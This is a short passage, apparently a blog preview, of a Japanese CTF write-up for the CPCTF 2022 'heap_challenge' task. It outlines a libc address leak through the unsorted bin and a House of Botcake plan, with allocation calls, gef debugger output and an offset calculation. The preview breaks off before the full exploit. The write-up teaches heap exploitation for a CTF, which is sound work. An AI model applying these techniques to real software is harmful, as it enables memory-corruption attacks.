heap_challenge - CPCTF 2022

方針 unsorted binによるlibc leakと、House of botcake 事前準備 # def new(index: str, msg: str, content: bytes) new("0", "16", b"AAAA") new("1", "1280", b"BBBB") new("2", "16", b"CCCC") new("3", "16", b"DDDD") new("4", "16", b"EEEE") new("5", "16", b"FFFF") unsorted binによるlibc leakの旅 unsorted binのfdは、main_arena.topを指す。 topメンバの位置と、libcの中に置かれるmain_arenaの位置がわかれば、libc base addressを求めることができる。 (一度mallocしないとtopにアドレスが入らないので、そこまで進める。) gef➤ heap arena Arena (base=0x7ffff7fc1b80, top=0x55555555b2d0, last_remainder=0x0, next=0x7ffff7fc1b80, next_free=0x0, system_mem=0x21000) 次に、libcの配置されている場所は0x00007ffff7dd5000である。 gef➤ vm : 0x00007ffff7dd5000 0x00007ffff7df7000 0x0000000000000000 r-- /ctf/yu1hpa/2022/CPCTF/heap_chal/libc.so.6 したがって、main_arenaとのオフセットは、 0x7ffff7fc1b80 - 0x00007ffff7dd5000 = 0x1ecb80 また、topメンバの位置は次のように確認することができる。 gef➤ x/16xg 0x7ffff7fc1b80 0x7ffff7fc1b80: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1b90: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1ba0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1bb0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1bc0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1bd0: 0x0000000000000000 0x0000000000000000 0x7ffff7fc1be0: 0x000055555555b2d0 0x0000000000000000 0x7ffff7fc1bf0: 0x00007ffff7fc1be0 0x00007ffff7fc1be0 top=0x55555555b2d0はmain_arena(0x7ffff7fc1b80)<+96> の位置にあることがわかるので、libc base addressは以下のように求まる。...

2022-05-08 · 4 分 · Me